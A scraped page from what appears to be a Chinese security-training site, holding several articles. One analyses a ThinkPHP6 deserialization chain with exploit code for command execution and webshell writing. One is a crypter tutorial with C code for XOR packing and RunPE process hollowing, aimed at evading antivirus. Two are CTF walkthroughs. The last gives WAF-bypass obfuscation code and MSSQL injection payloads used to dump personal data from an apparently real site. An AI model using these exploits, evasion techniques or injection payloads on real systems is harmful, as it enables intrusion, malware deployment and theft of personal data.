蚁景网安 - 网络安全人才培养服务提供商

浅谈md5弱类型比较和强碰撞

thinkphp6的另反序列化分析

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>> Forward 之前分析过tp6的一个链；当时是利用__toString方法去进行的中转，从而实现前后两个链的链接，这次是两个另外链条；利用的是可控类下的固定方法进行中转；开始分析；首先环境可以composer一键搭建，然后php think run进行跑起来就可；本文涉及知识点实操练习：https://www.yijinglab.com/expc.do?ec=ECIDb06f-9bfa-4e0a-80af-36af7391a643（通过该实验了解ThinkPHP5远程命令执行漏洞的原因和利用方法，以及如何修复该漏洞。） text 首先的想法就是利用析构函数进行最开始的触发；然后一路追踪魔法函数去进行一步一步的推导；首先找到魔法函数在AbstractCache类下； protected $autosave = true; public function __destruct(){ if (! $this->autosave) { $this->save(); }} 其代码如上；可以看到autosave可以可控；这里我们可以手动给其复制为false；从而可以触发save方法；回溯save方法；在CacheStore中找到了save方法；具体代码如下； public function save(){ $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);} 可以看到其调用了getForStorage方法，然后将其赋值给$contents变量。这里追随一下这个方法； public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);} 发现首先调用了cleanContents方法；然后在调用了json_encode方法，这里首先回溯一下cleanContents方法； public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', 'md5', ]); foreach ($contents as $path => $object) { 首先在这里看到了array_flip方法；这个方法是将数组的键名和键值进行替换；然后数组赋值给$cachedProperties变量；然后将我们传入的参数按照$path和$object的格式来进行各个遍历；然后将键名经过is_array方法的判断如果为true则进行后续的函数处理；否则就直接return $content这个数组；经过这一系列操作完之后，最终是return到了save函数里；然后接着去进行 $this->store->set($this->key, $contents, $this->expire);这里我们发现store也可控；那么就有两种思路，第一个就是去实例化一个有set public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { 这里可利用点在后面的serialize方法；直接追溯一下； protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);} 这里发现options参量可控；这里就存在一个问题，如果我们将其赋值为system，那么后续return的就是我们命令执行函数，里面的data我们是可以传入的，那么我们就可以实现RCE；这里放出我自己写的exp； <?php#bash回显；网页不回显；namespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['`id`']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends AbstractCa 最后达到的效果就是system(xxxx);这里当时我测试没有回显，后来将代码调试了一下，发现是system里面参数的问题，后来我想到linux或者unix下反引号也是可以当做命令执行的，而且是可以首先执行的；所以我将代码改了下，嵌入反引号，这样可以更好的进行命令执行，但是这样的缺点就是可以执行，但是无回显；但是我们依然可以进行一些恶意操作；通过这个链，相信可以发现一些端倪，除了可以rce以外，这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的; 下面利用的一些骚姿势如果有师傅不太理解，可以看这个链接；https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/ 下面也讲述一下；利用链和之前的是一样的；就是最后需要掌控一下filename和data的内容；我们可以看到如下图；在最后的时候会有一个data的拼接，我本来想着在格式化那里尝试引入，但是格式化已经写死了，不能利用非法字符进行污染格式化引入危险代码；所以只能在最后的data处进行写入拼接；现在就是要控制data了；其实这里data是调用了serialize方法，追溯一下不难发现是将数组option中的serialize的键值拿出来套在了data前面；其实本质上也无大碍；但是这里有个小坑；因为是$serialize($data);所以这里要求这样的搭配必须是正确的，如果你随意传入函数，造成比如adsf($data);这样类型的不规则函数，就会导致报错，从而无法进行；明白了这一点其实还有一个小坑；其实option的内容我们是可控的；那么我们就可以控制serialize的键值进行传入；但是这里因为之前进行了json_encode所以一般的函数最后构成的格式都无法进行base64解密；但是这里有个例外，我测试了serialize函数，发现经过序列化之后，我们可以正常进行base64解密；大概是因为可以构成字符串的原因吧；这里放出我的exp； <?phpnamespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends Abst 另外可能有很多师傅困惑在可写目录的问题，这里我才用了虚目录的方法将其定位到了public目录之下；就在path参数那里可以体现；最后访问结果是执行phpinfo;当然也可以写入system这样的命令执行函数；造成木马利用；这个技术你学会了吗？加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia，1300+网安技能任你学！

这都学不好Web安全你真的太让我失望了

两种CTF中特殊盲注的总结

各位有所不知，前几天我举办了一次CTF竞赛...

2021年，我们热血开局！ 1月的最后一周，我们再次见证了成长与历练。时间：2021/1/26-1/28 事件：蚁景杯 WUST CTF2021新生赛蚁景杯 WUST CTF2021新生赛：武汉科技大学俱乐部2021首场CTF竞赛，WEB、PWN、 MISC、CRYPTO、REVERSE五大题型迎接新生来战！比赛为期三天，一方面考验着参赛队员的耐力值；题目类型涵盖面较广，在考验新生“学习情况”方面下足了“猛料”。武汉科技大学俱乐部，因为热爱聚集到一块，学习从0到1的过程，响应号召，依然极客前行！

神秘的加密工具

我一直认为，在黑客世界里，加密技术是一种很神秘的艺术，是一种很隐晦的东西，我们可以查找资料来进行研究。当然，它在黑客世界中已经变得非常普遍，尤其是在2013年和2014年推出了Veil-Evasion和shellter工具。在这篇文章中，我将详细介绍加密工具的类型以及它们在底层的工作原理，然后展示低级代码层面上一些鲜为人知的技术。在阅读完这篇文章后，我希望大家最终能对这些玩意儿的工作原理以及它们在计算机世界中的地位和作用有一定程度的了解。本文涉及知识点实操练习：https://www.yijinglab.com/expc.do?ec=14804a13-fea8-4bcf-a928-a71a40e7cfa4 （通过本实验，了解RC4加密技术）稍微声明一下：有些材料可能不适合初学者，因为它们需要相当多的Windows底层的知识。包括以下很多技术。掌握 C/C++ 熟悉WinAPI 和对应的文档熟悉基础的加密知识熟悉PE文件的结构熟悉 Windows 虚拟内存熟悉进程和线程密码学的两个方面当我们谈起对于密码学的印象时，我们经常会想到 "这是一种处理信息的手段，防止信息被泄露出去"。我们大多数人都把它看成是一种防御机制，其应用的目的在于确保信息的安全，阻止恶意的攻击。当然，我们很清楚这一点，因为它被发明出来的唯一目的就是保护数据，然而，正如我们很快就会看到的那样，密码学的功能已经远远不止这些。如果我们使用传统的密码学来进行恶意攻击，即设计恶意软件，利用密码学提供的优势。这些类型的恶意软件在现代已经非常普遍，包括勒索软件和非对称后门等，它们主要涉及公钥密码学。反病毒机制为了能够设计出绕过杀毒软件的方式，我们必须首先要明白杀毒软件的杀毒方式。我将简单介绍一下杀毒软件检测应用程序采用的两种主要方法。基于签名的检测顾名思义，基于签名的检测是一种将应用程序的签名与相应的已知恶意软件的数据库进行交叉参考匹配的技术。这是预防和遏制之前出现过的恶意软件的有效措施。基于启发式检测虽然基于签名的检测可以防止大多数以前已知的恶意软件，但它也有缺点，因为恶意软件作者可以针对这种方法添加保护措施，如使用多态和变形代码等。基于启发式的检测会监控应用程序的行为和特征，并将其与已知的恶意行为进行匹配。请注意，只有在应用程序正在运行的情况下才会进行这种检测。当然，杀毒软件要比这个高级很多。由于这已经超出了文章讨论的范围，也超出了我的理解范围，所以这里不会涉及这些信息。加密技术简介加密器是被设计用来保护文件内部信息的软件，并且在执行后，用解密程序提取后能够完整地提供信息。请注意，虽然加密器可以被用于恶意目的，但它也主要用于混淆数据，防止对软件逆向工程。在本文中，我们将重点讨论恶意使用的情况。那么，这是如何工作的呢？让我们先来了解密码器的各部分，看一下它们的作用。加密器负责对目标对象进行加密。 +-------------+ +-----------+ +-------------------+ +--------+ | Your file | -> | Crypter | => | Encrypted file | + | Stub | +-------------+ +-----------+ +-------------------+ +--------+ +------------------+ +--------+ +---------------+ | Encrypted file | + | Stub | = Execution => | Original File 扫描时加密器这些类型的加密器由于能够加密磁盘上的数据而被称为扫描时加密器，杀毒软件可以对文件进行扫描，例如基于签名的检测。在这一阶段，只要应用的混淆技术是足够强大的，杀毒软件将永远无法检测到任何恶意活动。运行时加密器这些加密器将加密技术提升到了一个新的水平，能够在内存中运行时根据需要对数据进行加密。通过这样做，能够使恶意软件在杀毒软件作出反应之前加载和执行。在这个阶段，一个应用程序可以快速地运行它的有效载荷并达到它的目标。但是恶意软件完全有可能在执行阶段触发杀毒软件的基于启发式的检测策略，所以恶意软件作者应该小心。现在我们已经介绍了高层次的内容，那么我们就来看看这两种类型的实例。编写扫描时间加密器扫描时加密器是两者中比较简单的，因为它不需要虚拟内存和进程/线程的知识。本质上，stub会对文件进行处理，把它放到磁盘上的某个地方，然后执行它。下面记录了一个扫描时加密器的设计。注意：为了简洁和可读性，内容将不包含错误检查。加密器和stub伪代码 1.检查是否有命令行参数 +-> 2. 如果有命令行参数，则作为加密器对文件进行加密处理 | 3. 打开目标文件 | 4. 读取文件内容 | 5. 对文件内容进行加密 | 6. 创建一个新文件 | 7. 将加密后的文件写入新文件 | 8. 結束 | +-> 2. 如果没有命令行参数，则作为stub 3. 打开加密文件 4. 读取文件内容 5. 解密文件内容 6. 创建一个临时文件 7. 将解密后的内容写入临时文件 8. 执行文件 9. 完成这个设计方案在同一个可执行文件中同时实现了加密器和stub，我们可以这样做，是因为这两个操作非常相似。下面用代码来介绍一下设计方案。首先，我们需要定义main和两个条件，这两个条件定义了是执行加密器还是stub。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine } return EXIT_SUCCESS; } 由于我们将应用程序设计成了窗口应用程序，我们不能像通常基于控制台的应用程序中那样检索 argc 和 argv，但是微软提供了使用 argc 和 argv的解决方案。如果命令行参数 __argv[1] 存在，应用程序将尝试对指定的文件进行加密，否则，它将尝试解密一个被加密的文件。接下来是加密程序，我们需要 __argv[1] 来指定文件的句柄和它的大小，这样我们就可以把它的字节复制到一个缓冲区中进行加密。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine // open file to crypt HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get Crypt函数主要是将文件内容读入到一个缓冲区中，然后对其进行加密，然后返回一个指向缓冲区的指针。 LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) { // allocate buffer for file contents LPVOID lpFileBytes = malloc(dwFileSize); // read the file into the buffer ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL); // apply XOR encryption int i; for (i = 0; i < dwFileSize; i++) { *((LPBYTE)lpFileBytes 现在我们有了加密的字节，我们需要创建一个新的文件，然后将这些字节写入其中。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine ... // get crypted file name in current directory CHAR szCryptedFileName[MAX_PATH]; GetCurrentDirectory(MAX_PATH, szCryptedFileName); strc 加密器部分差不多就是这些了。注意，我们使用了一个简单的XOR来加密文件的内容，如果我们能够获得密钥，这种方案的安全性可能是不够的。如果我们想更加安全，我们可以使用其他的加密方案，如RC4或(x)TEA。我们不需要完整的加密算法，因为我们的目的是为了避免基于签名的检测，因此这么做完全是矫枉过正。保持文件小而简单最重要。让我们继续进入stub例程。对于stub程序，我们要检索当前目录下的加密文件，然后将解密后的内容写入一个临时文件中进行执行。我们首先要得到当前的要处理的文件，然后打开文件，得到文件大小。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine // get target encrypted file CHAR szEncryptedFileName[MAX_PATH]; GetCurrentDirectory(MAX_PATH, szEncryptedFileName); strcat(szEncryptedFileName, "\\"); strcat(szEncr 和加密器例程差不多。接下来，我们要读取文件内容，并得到解密后的字节。由于XOR操作恢复了给定的公共位的值，我们可以简单地重用Crypt函数。之后，我们需要创建一个临时文件，并将解密后的字节写入其中。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine ... // decrypt and obtain decrypted bytes LPVOID lpFileBytes = Crypt(hFile, dwFileSize); CloseHandle(hFile); // get file in temporary directory CHAR szTempFileName[MA 最后，我们需要执行解密后的应用程序。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine ... // execute file ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0); } else { // crypter routine } return EXIT_SUCCESS; } 请注意，一旦解密后的应用程序被写入磁盘，它很有可能被杀毒软件的基于签名的检测方式检测出来，因此这样有可能捕获大多数的恶意软件。正因为如此，恶意软件的作者需要编写即使他们的应用程序在这种情况下仍然能够执行的功能。扫描时加密器就到此为止。编写一个运行时加密器对于运行时加密器，我的文章只涉及stub，因为它还包括更复杂的过程，所以我们将假设应用程序已经被加密。这些加密器使用一种叫做RunPE的流行技术。它的工作原理是stub先解密应用程序的加密字节，然后模拟Windows加载器，将它们推送到暂停进程的虚拟内存空间中。这个过程完成后，stub将把暂停的进程恢复运行。注意：为了简洁和可读性，我将不包含错误检查。 stub伪代码 1. Decrypt application 2. Create suspended process 3. Preserve process's thread context 4. Hollow out process's virtual memory space 5. Allocate virtual memory 6. Write application's header and sections into allocated memory 7. Set modified thread context 8. Resume process 9. Finish 我们可以看到，这需要相当多的Windows内部知识，包括PE文件结构、Windows内存操作和进程/线程的知识。我强烈建议读者在理解这些知识的基础上来理解下面的材料。首先，让我们在main中设置两个例程，一个用于解密被加密的应用程序，另一个用于将其加载到内存中执行。 APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { Decrypt(); RunPE(); return EXIT_SUCCESS; } Decrypt函数实现方式完全依赖于用于应用程序的加密方式，这里是一个使用XOR的示例代码。 VOID Decrypt(VOID) { int i; for (i = 0; i < sizeof(Shellcode); i++) { Shellcode[i] ^= Key[i % sizeof(Key)]; } } 现在，应用程序已经被解密，让我们来看看神奇的地方。在这里，我们通过检查DOS和PE签名来验证该应用程序是否是一个有效的PE文件。 VOID RunPE(VOID) { // check valid DOS signature PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode; if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return; // check valid PE signature PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew); if (pinh->Signature != IMAGE_NT_SIGNAT 现在，我们将创建暂停的进程。 VOID RunPE(VOID) { ... // get own full file name CHAR szFileName[MAX_PATH]; GetModuleFileName(NULL, szFileName, MAX_PATH); // initialize startup and process information STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); // required to set size of si.cb 注意，szFileName可以是任何可执行文件的完整路径，如explorer.exe或iexplore.exe，但在本例中，我们将使用stub的文件。CreateProcess函数将在暂停状态下创建一个指定文件的子进程，这样我们就可以根据自己的需要来修改它的虚拟内存内容。 VOID RunPE(VOID) { ... // obtain thread context CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.Thread, &ctx); } 现在我们清空进程的虚拟内存区域，这样我们就可以为应用程序分配自己的运行空间。为此，我们需要一个函数，而这个函数对我们来说并不是现成的，因此我们需要一个函数指针，指向一个从ntdll.dll 文件中动态检索内容的函数。 typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID); VOID RunPE(VOID) { ... // dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); // hollow p 由于被暂停的进程在其虚拟内存空间内有自己的内容，我们需要从内存中对它进行解映射，然后分配我们自己的内容，这样我们就有访问权限来加载我们的应用程序的映像。我们将通过WriteProcessMemory函数来实现。首先，我们需要像Windows加载器一样，先写头文件，然后分别写每个部分。这一部分需要对PE文件结构有一个全面的了解。 VOID RunPE(VOID) { ... // write header WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL); // write each section int i; for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) { // calculate and get ith section PIMAGE_SECTION 现在一切就绪，我们只需修改上下文的切入点地址，然后恢复暂停的线程。 VOID RunPE(VOID) { ... // set appropriate address of entry point ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread, &ctx); // resume and execute our application ResumeThread(pi.hThread); } 现在，应用程序已经开始在内存中运行，希望杀毒软件不会检测到它。

进入网站后台找flag

这次的题目是进入网站后台找flag，题目地址：https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9d6c0ca797abec2016092313250000001& 首先打开题目网页，内容如下：简单的字母提示和一个明显的按钮。点击按钮，左上角页面出现提示：Only Member with Admin rights is allow to enter。意思是只能以管理员身份进入网站后台。用brupsuit抓包，看看数据包的发送情况：返回的数据包中设置了cookie的值，Member的值经过了base64加密。在burpsuite的decoder模块解码——>输入Tm9ybWFs——>Decode as ——>Base64：然后根据页面的提示，把Admin进行base64加密，得到得到QWRtaW4=，构造这样一个请求包，发送。然后再Intercept中将Member的值换成上面加密的值，并点击Forward发送。出现flag 实验总结：主要用到bursuite抓包分析数据，还有base64的加密和解密。 Base64密文有如下特点： - 字符串只可能包含A-Z，a-z，0-9，+，/，=字符 - 字符串长度是4的倍数 - =只会出现在字符串最后，可能没有或者一个等号或者两个等号

CTF-Web拿到key的小技巧

本关实验地址为：& 预备知识 HTTP协议，报文的组成部分等，请参考https://yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001<>以及简单的js脚本编写能力。打开服务器上的网页然后看到进入第一关的按钮，点一下。跳到第一关，只有一些文字，那么我们不多BB，直接查看源代码。源代码中有个注释，要删除1.php.bak，我们直接在地址栏中输入试试。然后来到了这个页面，和第一关的页面差不多，但是多了一些奇怪的符号，还是看一下源代码吧。源代码中给出了第二关的地址，直接访问。进入到第二关后，出来一个输入框和按钮，然后提示点击进入第三关，那么我们点一下出现了诡异的提示，我们注意到第三关的页面是3rd.php。点击提示的确定后，又退回到第二关了。此事必有蹊跷。特别是这个输入框，能让我有插它的冲动，写个alert看看能不能xss。 <script>alert(1)</script> 竟然弹框了，好激动好兴奋的样子。那么我们构造一个a标签来戳进去。<a href="3rd.php"></a> 发现不行，构造出的连接闪一下就没了。那么我们用【某种方式】重定向吧。 <script>window.location="3rd.php"</script> 成功绕过验证，点击就能进入下一关了。这和前面也差不多，就是只有一些文字。查看源代码也没有收获，那我们看看能否从文字中获得关键信息既然说是在眼皮底下，那我们就看看眼皮吧，查看一下HTTP原始请求包和返回包，发现在返回的报文中有个Next字段，提供了下一关的页面。那么按照提示，点完按钮就结束了吧。可是鼠标放到按钮上，按钮就不见了。我们使用审查元素看一下，原来使用了display:none，将其改为display:block按钮就出来了。但是鼠标悬停还是没有了，看一下上面的joy脚本，原来就是这个脚本隐藏了按钮。那么我们删除这个按钮的onmouseover="joy()"，果然出现点击按钮，找到key。

CTF-小游戏解密俄罗斯方块

本次实验操作地址：& 进入实验环境，打开题目地址，发现是个俄罗斯方块的游戏，尝试先玩了几局，但是并没有什么用，玩游戏就能获得flag？感觉不太靠谱，看看有没有别的思路。我们先分析这个游戏服务，这是一个web的游戏，那么我们在浏览器的开发者工具中，对网络请求进行分析，发现我们对目标进行访问时，并没有实质性的后台请求：所以基本可以断定，这是一个前台页面的游戏，游戏的运行、计分都是由js脚本来支持的，所以我们找到了请求中仅有的js页面代码：这个js混淆过，所以需要先美化，也就是js代码的格式化。经过分析，会发现，当游戏分数达到既定的条件时，js代码会在页面的头部中添加urlkey字段，值为“webqwer”[1]+“100.js”，即为“webqwer”的第2个字母与“100.js”拼接为“e100.js”。也是一个js文件，我们尝试直接访问，可以下图下图所示的内容，这是jsfuck编码： jsfuck编码是可以直接在控制台运行的，我们复制粘贴到控制台，但是我们直接可以用google浏览器，f12打开开发者工具，然后将编码粘贴到console中，内容过多，环境可能卡顿，耐心等待：粘贴完成之后，回车就可运行，页面就会弹出flag：最后填写一下答案，完成。

记一次面试bypass宝塔+安全狗的手注

前言最近在准备找工作,有一家公司给我发来了这样一条消息,于是有了这篇文章. 本文涉及知识点实操练习：https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001 （本实验以PHP和mysql为环境，简单展示了SQL的发生原理和利用过程，通过显错注入和盲注的对比，更直观展现注入的不同利用方法。）因本文是bypass成功后,才写的可能会缺少一些图.(耗费本菜鸡半天时间,因为之前都是mysql搞的多,还有就是sqlmap一把梭.差点把传统手艺都丢了.) 大意了,没有闪拿到目标后,我就迫不及待的直接打开打开地址一看是报错的,我还以为任务是需要通过信息收集拿到shell,最后再拿数据.我还在想开局就送个信息泄漏? 最后折腾一番之后发现没什么突破口.回来再看之前的地址发现又能访问了. 大意了,没有闪最后看到界面是这样的(能打开完全靠运气,特别是在晚上) 看到这个界面后,我就知道,原来是想测老夫的sql注入? 我当时心想不会用sqlmap一把梭就进去了吧! 注入点识别随即我就先用'试试注入点 /1.aspx?id=1%27 继续试试and 1=1 /1.aspx?id=1%20%27and%201=1 好小子,居然有狗小小的一条就能难到我?打开burp,开始手注 bypass宝塔+安全狗直接把请求改为post,试试垃圾数据填充能不能bypass 生成垃圾数据好小子,还有个宝塔waf,看来垃圾数据填充已经不好用了再试试分块传输bypass 还是一样(对分块传输没什么研究,和一些数据库特性结合应该还是可以用的,不是本文的重点) 接下来,开始fuzz 试试不带select 发现可以,继续试试,user和db_name() 这说明宝塔和狗都是对select 后面跟值进行拦截我们继续试试联合查询union 不出所料还是一样,这两兄弟好搭档啊,换着来.由于本文重点是在学习手注入和bypass下面开始bypass,我这边打算写个payload混淆工具bypass 在写工具前我们得知道bypass的常用手法有哪些吧? 我这边大概整理了有如下几种利用服务器特性利用数据库特性利用WAF特性所以为了更好的bypass,我们就得了解对这些特性有一定的了解,因为我的当前目标是iis+aspx,那我们就得了解一下iis和mssql特性来进行bypass iis特性下面摘自 bypass大佬的waf攻防实战笔记 1、%特性(ASP+IIS) 在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。 Ps.此处猜测可能是iis下asp.dll解析时候的问题,aspx+iis的环境就没有这个特性。 2、%u特性(asp+iis和aspx+iis) Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的 s%u006c%u0006ect ,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是 s%u006c%u0006ect,这样就会形成bypass的可能。 3、另类%u特性(ASP+IIS) 该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有可能转换为同一个字符。打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e。s%u0065lect->select s%u00f0lect->selectWAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。常见三个关键字(union+select+from)的测试情况: s%u0045lect = s%u0065lect = %u00f0lectu --> %u0055 --> %u0075n -->%u004e --> %u006ei -->%u0049 --> %u0069o -->%u004f --> %u006f -->%u00bas -->%u0053 --> %u0073l -->%u004c --> %u006ce -->%u0045 --> %u0065-->%u00f0c -->%u0043 --> %u0063t -->%u0054 -->%u0074 -->%u00de -->%u00fef -->%u0046 -->%u0066r -- mssql特性空白字符 Mssql可以利用的空白字符有(需要在字符前面加%): 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 注释符注释符可以用来代替空格,或者和--配合使用,--也可以配合%0a(注释加换行) /**/--/**anything*/ 特殊数值一般用在注入点上如1.1或者1E0这些运算符下面摘自 404大佬的MSSQL_SQL_BYPASS_WIKI + 加法运算- 减法运算* 乘法运算/ 除法运算，如果两个表达式值都是整数，那么结果只取整数值，小数值将略去% 取模运算，返回两数相除后的余数 & 位与逻辑运算，从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时，结果中的位才被设置为1，否则，结果中的位被设置为0| 位或逻辑运算，从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为1时，结果的位就被设置为1，只有当两个位的值都为0时，结果中的位才被设置为0^ 位异或运算，从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时，结果中的位就被设置为1；只有当两个位的值都为0或当我们了解完这些特性之后,直接开干,随即就打开了老夫的pycharm 下面直接省略测试过程的图片,大家可以手工测也可以用intruder来跑.fuzz是个漫长的过程,我这里只可以大家提供思路先把空白字符和注释定义出来(经测试发现+也有同等效果) 1.先把所有的空格都用注释替换 2.对and和where进行处理,在它们前后随机加空白符,用来混淆这两个关键字 3.利用iis特性对下面这几个关键字某个字符用unicode编码替换 4.对下面这几个符合进行处理, 1.在某些函数会被拦截用+()来bypass 2.查询某某库的某某表如admin.user会被拦截,用+.来bypass 5.最后拓展下payload接收.最终代码如下 import random def bypass(payload): chars1 = ['%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0A', '%0B', '%0C', '%0D', '%0E', '%0F', '%10', '%11','%12', '%13', '%14', '%15', '%16', '%17', '%18', '%19', '%1A', '%1B', '%1C', '%1D', '%1E', '%1F', '%20'] 已经打包上传github 地址:https://github.com/safe6Sec/bypassWAF 然后就可以愉快的手注了 mssql手注从前期的来看,该注入点支持union注入和报错注入.我这边采用报错注入. 用union注入需要知道当前表有几列(和mysql一样用order by判断),还需要回显点用报错注入主要是用top命令配合not in来进行注入爆库(mssql默认有四个库,我们需要加个条件,dbid>4) and (SELECT top 1 Name FROM Master..SysDatabases where dbid>4)>0 这样只是爆出第一个库,爆别的还需用not in来配合排除已知的表用union联合查询结果如下(列数量要和当前表一致,没有的列用null占位) union SELECT null,null,null,Name,null,null,null,null FROM Master..SysDatabases 从上面的数据可以看出,只有一个数据库继续爆表 and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0)>0 第一张表为a999,用not in排除这张表继续爆其他的 and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('a999'))>0 以此内推最后得了下面这些表 'dtproperties','a999','wap_album','wap_albumre','admin','wap_bankLog','wap_bbs','wap_bbs_MarkSix','wap_bbs_MarkSix_bet','D99_CMD','temp','wap_background' 直觉告诉我数据很有可能是在a999(从名字上判断) 直接爆字段,和爆表一样的操作 and 1=(select top 1 name from syscolumns whereid=(select id from sysobjects where name = 'a999') ) 得到了这些字段 'id','siteid','airplaneid','airplanename','userid','username','num','tel','address','starttime','content','remark','addtime','state' 他们要的数据是:序号10的那栏信息。包含名字电话地址开始跑数据 and 1=(select top 1 username from a999 where id=10) 然后继续把剩下的电话地址跑出来,上交收工. fuzz真是挺废时间了,本文是在bypass成功后所写.过程耗费太多时间没截图,思路都告诉大家了.结合起来用即可. 或者会有大佬想说为什么不,写个tamper来跑, 最后感谢404和bypass大佬的文章,小弟受益良多. 总结不要光说不做,实操才是真理对waf的bypass也就那样,把规则搞清楚了就很简单,免杀也如此 union注入比报错注入香多了

第2页第3页第4页第5页第6页第7页第8页第9页第10页第11页第12页第13页第14页第15页第16页第17页第18页第19页第20页第21页第22页第23页第24页第25页第26页第27页第28页第29页第30页第31页第32页第33页第34页第35页第36页第37页第38页第39页第40页第41页第42页第43页第44页第45页第46页第47页第48页第49页第50页第51页第52页第53页第54页第55页第56页第57页第58页第59页第60页第61页第62页